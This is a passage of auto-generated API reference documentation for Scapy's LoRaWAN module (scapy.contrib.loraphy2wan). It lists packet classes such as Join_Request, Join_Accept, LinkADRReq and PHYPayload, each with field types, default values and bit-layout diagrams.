scapy.contrib.loraphy2wan.FOptsDownShow(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L548-L554]

	




	
scapy.contrib.loraphy2wan.FOptsUpShow(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L557-L563]

	




	
class scapy.contrib.loraphy2wan.FRMPayload(_pkt, /, *, DataPayload=None, Join_Request_Field=[b''], Join_Accept_Field=[b''], Join_Accept_Encrypted=0, ReJoin_Request_Field=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L656-L676]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATAPAYLOAD          |       JOIN REQUEST FIELD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       JOIN ACCEPT FIELD       |     JOIN ACCEPT ENCRYPTED     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      REJOIN REQUEST FIELD     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. FRMPayload                          


FRMPayload fields






	DataPayload

	MultipleTypeField (Cond, StrField, StrField, StrField)

	b''



	Join_Request_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Encrypted

	StrField (Cond)

	0



	ReJoin_Request_Field

	PacketListField (Cond)

	[b'']















	
class scapy.contrib.loraphy2wan.ForceRejoinReq(_pkt, /, *, RFU=0, Period=0, Max_Retries=0, RFU2=0, RejoinType=0, DR=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L374-L381]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RFU|PERIO|MAX R|R|REJOI|   DR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ForceRejoinReq                        


ForceRejoinReq fields






	RFU

	BitField  (2 bits)

	0



	Period

	BitField  (3 bits)

	0



	Max_Retries

	BitField  (3 bits)

	0



	RFU2

	BitField  (1 bit)

	0



	RejoinType

	BitField  (3 bits)

	0



	DR

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.Join_Accept(_pkt, /, *, JoinAppNonce=0, NetID=0, DevAddr=0, OptNeg=0, RX1DRoffset=0, RX2_Data_rate=0, RxDelay=0, CFList=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L609-L626]

	Bases: Packet


	
aliastypes

	




	
dcflist = False

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L620-L621]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          JOINAPPNONCE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NETID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DEVADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|O|RX1DR|RX2 DAT|    RXDELAY    |             CFLIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Join_Accept                         


Join_Accept fields






	JoinAppNonce

	XLE3BytesField

	0



	NetID

	XLE3BytesField

	0



	DevAddr

	XLEIntField

	0



	OptNeg

	BitField  (1 bit)

	0



	RX1DRoffset

	XBitField  (3 bits)

	0



	RX2_Data_rate

	XBitField  (4 bits)

	0



	RxDelay

	XByteField

	0



	CFList

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.loraphy2wan.Join_Request(_pkt, /, *, AppEUI=b'\x00\x00\x00\x00\x00\x00\x00\x00', DevEUI=b'\x00\x00\x00\x00\x00\x00\x00\x00', DevNonce=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L602-L606]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             APPEUI                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DEVEUI                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DEVNONCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Join_Request                         


Join_Request fields






	AppEUI

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	DevEUI

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	DevNonce

	LEShortField

	0















	
class scapy.contrib.loraphy2wan.LinkADRAns(_pkt, /, *, status=<LinkADRAns_Status  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L167-L171]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LinkADRAns                          


LinkADRAns fields






	status

	PacketField

	<LinkADRAns_Status  |>















	
class scapy.contrib.loraphy2wan.LinkADRAns_Status(_pkt, /, *, RFU=0, PowerACK=0, DataRate=0, ChannelMaskACK=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L159-L164]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RFU   |P|D|C|
+-+-+-+-+-+-+-+-+

                      Fig. LinkADRAns_Status                      


LinkADRAns_Status fields






	RFU

	BitField  (5 bits)

	0



	PowerACK

	BitField  (1 bit)

	0



	DataRate

	BitField  (1 bit)

	0



	ChannelMaskACK

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.LinkADRReq(_pkt, /, *, DataRate=0, TXPower=0, ChMask=0, RFU=0, ChMaskCntl=0, NbTrans=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L152-L156]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATARAT|TXPOWER|             CHMASK            |R|CHMAS|NBTRANS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LinkADRReq                          


LinkADRReq fields






	DataRate

	XBitField  (4 bits)

	0



	TXPower

	XBitField  (4 bits)

	0



	ChMask

	XShortField

	0



	RFU

	XBitField  (1 bit)

	0



	ChMaskCntl

	XBitField  (3 bits)

	0



	NbTrans

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.LinkCheckAns(_pkt, /, *, Margin=0, GwCnt=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L133-L136]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MARGIN    |     GWCNT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LinkCheckAns                         


LinkCheckAns fields






	Margin

	ByteField

	0



	GwCnt

	ByteField

	0















	
class scapy.contrib.loraphy2wan.LinkCheckReq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L129-L130]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.loraphy2wan.LoRa(_pkt, /, *, Preamble=0, PHDR=0, PHDR_CRC=0, MType=0, RFU=0, Major=0, DevAddr=[b''], FCtrl=[b''], FCnt=0, FOpts_up=[b''], FOpts_down=[b''], FPort=0, DataPayload=None, Join_Request_Field=[b''], Join_Accept_Field=[b''], Join_Accept_Encrypted=0, ReJoin_Request_Field=[b''], MIC=0, CRC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L717-L727]

	Bases: Packet


	
aliastypes

	




	
encrypted = True

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PREAMBL|              PHDR             |PHDR CR|MTYPE| RFU |MAJ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DEVADDR            |             FCTRL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FCNT             |            FOPTS UP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FOPTS DOWN          |     FPORT     |  DATAPAYLOAD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       JOIN REQUEST FIELD      |JOIN ACCEPT FIE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     JOIN ACCEPT ENCRYPTED     |REJOIN REQUEST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      MIC                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              CRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. LoRa                             


LoRa fields






	Preamble

	XBitField  (4 bits)

	0



	PHDR

	XBitField  (16 bits)

	0



	PHDR_CRC

	XBitField  (4 bits)

	0



	MType

	BitEnumField

	0



	RFU

	BitField  (3 bits)

	0



	Major

	BitField  (2 bits)

	0



	DevAddr

	PacketListField (Cond)

	[b'']



	FCtrl

	PacketListField (Cond)

	[b'']



	FCnt

	LEShortField (Cond)

	0



	FOpts_up

	PacketListField (Cond)

	[b'']



	FOpts_down

	PacketListField (Cond)

	[b'']



	FPort

	ByteEnumField (Cond)

	0



	DataPayload

	MultipleTypeField (Cond, StrField, StrField, StrField)

	b''



	Join_Request_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Encrypted

	StrField (Cond)

	0



	ReJoin_Request_Field

	PacketListField (Cond)

	[b'']



	MIC

	MayEnd

	0



	CRC

	XShortField (Cond)

	0











	
version = '1.1'

	








	
class scapy.contrib.loraphy2wan.MACCommand_down(_pkt, /, *, CID=0, Reset=[b''], LinkCheck=[b''], LinkADR=[b''], DutyCycle=[b''], RXParamSetup=[b''], DevStatusAns=[b''], NewChannel=[b''], RXTimingSetup=[b''], TxParamSetup=[b''], DlChannel=[b''], Rekey=[b''], ADRParamSetup=[b''], DeviceTime=[b''], RejoinParamSetup=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L469-L527]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CID      |             RESET             |   LINKCHECK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LINKADR            |   DUTYCYCLE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RXPARAMSETUP         |  DEVSTATUSANS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           NEWCHANNEL          | RXTIMINGSETUP |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TXPARAMSETUP         |   DLCHANNEL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             REKEY             | ADRPARAMSETUP |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           DEVICETIME          |REJOINPARAMSETU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. MACCommand_down                       


MACCommand_down fields






	CID

	ByteEnumField

	0



	Reset

	PacketListField (Cond)

	[b'']



	LinkCheck

	PacketListField (Cond)

	[b'']



	LinkADR

	PacketListField (Cond)

	[b'']



	DutyCycle

	PacketListField (Cond)

	[b'']



	RXParamSetup

	PacketListField (Cond)

	[b'']



	DevStatusAns

	PacketListField (Cond)

	[b'']



	NewChannel

	PacketListField (Cond)

	[b'']



	RXTimingSetup

	PacketListField (Cond)

	[b'']



	TxParamSetup

	PacketListField (Cond)

	[b'']



	DlChannel

	PacketListField (Cond)

	[b'']



	Rekey

	PacketListField (Cond)

	[b'']



	ADRParamSetup

	PacketListField (Cond)

	[b'']



	DeviceTime

	PacketListField (Cond)

	[b'']



	RejoinParamSetup

	PacketListField (Cond)

	[b'']















	
class scapy.contrib.loraphy2wan.MACCommand_up(_pkt, /, *, CID=0, Reset=[b''], LinkCheck=[b''], LinkADR=[b''], DutyCycle=[b''], RXParamSetup=[b''], DevStatus=[b''], NewChannel=[b''], RXTimingSetup=[b''], TxParamSetup=[b''], DlChannel=[b''], Rekey=[b''], ADRParamSetup=[b''], DeviceTime=[b''], ForceRejoin=[b''], RejoinParamSetup=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L399-L466]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L465-L466]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CID      |             RESET             |   LINKCHECK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LINKADR            |   DUTYCYCLE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RXPARAMSETUP         |   DEVSTATUS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           NEWCHANNEL          | RXTIMINGSETUP |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TXPARAMSETUP         |   DLCHANNEL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             REKEY             | ADRPARAMSETUP |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           DEVICETIME          |  FORCEREJOIN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        REJOINPARAMSETUP       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. MACCommand_up                        


MACCommand_up fields






	CID

	ByteEnumField

	0



	Reset

	PacketListField (Cond)

	[b'']



	LinkCheck

	PacketListField (Cond)

	[b'']



	LinkADR

	PacketListField (Cond)

	[b'']



	DutyCycle

	PacketListField (Cond)

	[b'']



	RXParamSetup

	PacketListField (Cond)

	[b'']



	DevStatus

	PacketListField (Cond)

	[b'']



	NewChannel

	PacketListField (Cond)

	[b'']



	RXTimingSetup

	PacketListField (Cond)

	[b'']



	TxParamSetup

	PacketListField (Cond)

	[b'']



	DlChannel

	PacketListField (Cond)

	[b'']



	Rekey

	PacketListField (Cond)

	[b'']



	ADRParamSetup

	PacketListField (Cond)

	[b'']



	DeviceTime

	PacketListField (Cond)

	[b'']



	ForceRejoin

	PacketListField (Cond)

	[b'']



	RejoinParamSetup

	PacketListField (Cond)

	[b'']















	
class scapy.contrib.loraphy2wan.MACPayload(_pkt, /, *, DevAddr=[b''], FCtrl=[b''], FCnt=0, FOpts_up=[b''], FOpts_down=[b''], FPort=0, DataPayload=None, Join_Request_Field=[b''], Join_Accept_Field=[b''], Join_Accept_Encrypted=0, ReJoin_Request_Field=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L679-L687]

	Bases: Packet


	
aliastypes

	




	
eFPort = False

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DEVADDR            |             FCTRL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FCNT             |            FOPTS UP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FOPTS DOWN          |     FPORT     |  DATAPAYLOAD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       JOIN REQUEST FIELD      |JOIN ACCEPT FIE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     JOIN ACCEPT ENCRYPTED     |REJOIN REQUEST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. MACPayload                          


MACPayload fields






	DevAddr

	PacketListField (Cond)

	[b'']



	FCtrl

	PacketListField (Cond)

	[b'']



	FCnt

	LEShortField (Cond)

	0



	FOpts_up

	PacketListField (Cond)

	[b'']



	FOpts_down

	PacketListField (Cond)

	[b'']



	FPort

	ByteEnumField (Cond)

	0



	DataPayload

	MultipleTypeField (Cond, StrField, StrField, StrField)

	b''



	Join_Request_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Encrypted

	StrField (Cond)

	0



	ReJoin_Request_Field

	PacketListField (Cond)

	[b'']















	
class scapy.contrib.loraphy2wan.MHDR(_pkt, /, *, MType=0, RFU=0, Major=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L700-L705]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MTYPE| RFU |MAJ|
+-+-+-+-+-+-+-+-+

                            Fig. MHDR                             


MHDR fields






	MType

	BitEnumField

	0



	RFU

	BitField  (3 bits)

	0



	Major

	BitField  (2 bits)

	0















	
class scapy.contrib.loraphy2wan.NewChannelAns(_pkt, /, *, RFU=0, Dataraterangeok=0, Channelfrequencyok=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L256-L258]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RFU    |D|C|
+-+-+-+-+-+-+-+-+

                        Fig. NewChannelAns                        


NewChannelAns fields






	RFU

	XBitField  (6 bits)

	0



	Dataraterangeok

	BitField  (1 bit)

	0



	Channelfrequencyok

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.NewChannelAns_Status(_pkt, /, *, RFU=0, Dataraterangeok=0, Channelfrequencyok=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L249-L253]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RFU    |D|C|
+-+-+-+-+-+-+-+-+

                    Fig. NewChannelAns_Status                     


NewChannelAns_Status fields






	RFU

	XBitField  (6 bits)

	0



	Dataraterangeok

	BitField  (1 bit)

	0



	Channelfrequencyok

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.NewChannelReq(_pkt, /, *, ChIndex=0, Freq=0, MaxDR=0, MinDR=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L242-L246]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CHINDEX    |                      FREQ                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | MAXDR | MINDR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. NewChannelReq                        


NewChannelReq fields






	ChIndex

	ByteField

	0



	Freq

	X3BytesField

	0



	MaxDR

	XBitField  (4 bits)

	0



	MinDR

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.PHYPayload(_pkt, /, *, MType=0, RFU=0, Major=0, DevAddr=[b''], FCtrl=[b''], FCnt=0, FOpts_up=[b''], FOpts_down=[b''], FPort=0, DataPayload=None, Join_Request_Field=[b''], Join_Accept_Field=[b''], Join_Accept_Encrypted=0, ReJoin_Request_Field=[b''], MIC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L708-L714]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MTYPE| RFU |MAJ|            DEVADDR            |     FCTRL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              FCNT             |    FOPTS UP   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           FOPTS DOWN          |     FPORT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DATAPAYLOAD          |       JOIN REQUEST FIELD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       JOIN ACCEPT FIELD       |     JOIN ACCEPT ENCRYPTED     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      REJOIN REQUEST FIELD     |              MIC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PHYPayload                          


PHYPayload fields






	MType

	BitEnumField

	0



	RFU

	BitField  (3 bits)

	0



	Major

	BitField  (2 bits)

	0



	DevAddr

	PacketListField (Cond)

	[b'']



	FCtrl

	PacketListField (Cond)

	[b'']



	FCnt

	LEShortField (Cond)

	0



	FOpts_up

	PacketListField (Cond)

	[b'']



	FOpts_down

	PacketListField (Cond)

	[b'']



	FPort

	ByteEnumField (Cond)

	0



	DataPayload

	MultipleTypeField (Cond, StrField, StrField, StrField)

	b''



	Join_Request_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Field

	PacketListField (Cond)

	[b'']



	Join_Accept_Encrypted

	StrField (Cond)

	0



	ReJoin_Request_Field

	PacketListField (Cond)

	[b'']



	MIC

	MayEnd

	0















	
class scapy.contrib.loraphy2wan.RXParamSetupAns(_pkt, /, *, RFU=0, RX1DRoffsetACK=0, RX2DatarateACK=0, ChannelACK=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L210-L212]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RFU   |R|R|C|
+-+-+-+-+-+-+-+-+

                       Fig. RXParamSetupAns                       


RXParamSetupAns fields






	RFU

	XBitField  (5 bits)

	0



	RX1DRoffsetACK

	BitField  (1 bit)

	0



	RX2DatarateACK

	BitField  (1 bit)

	0



	ChannelACK

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.RXParamSetupAns_Status(_pkt, /, *, RFU=0, RX1DRoffsetACK=0, RX2DatarateACK=0, ChannelACK=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L202-L207]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
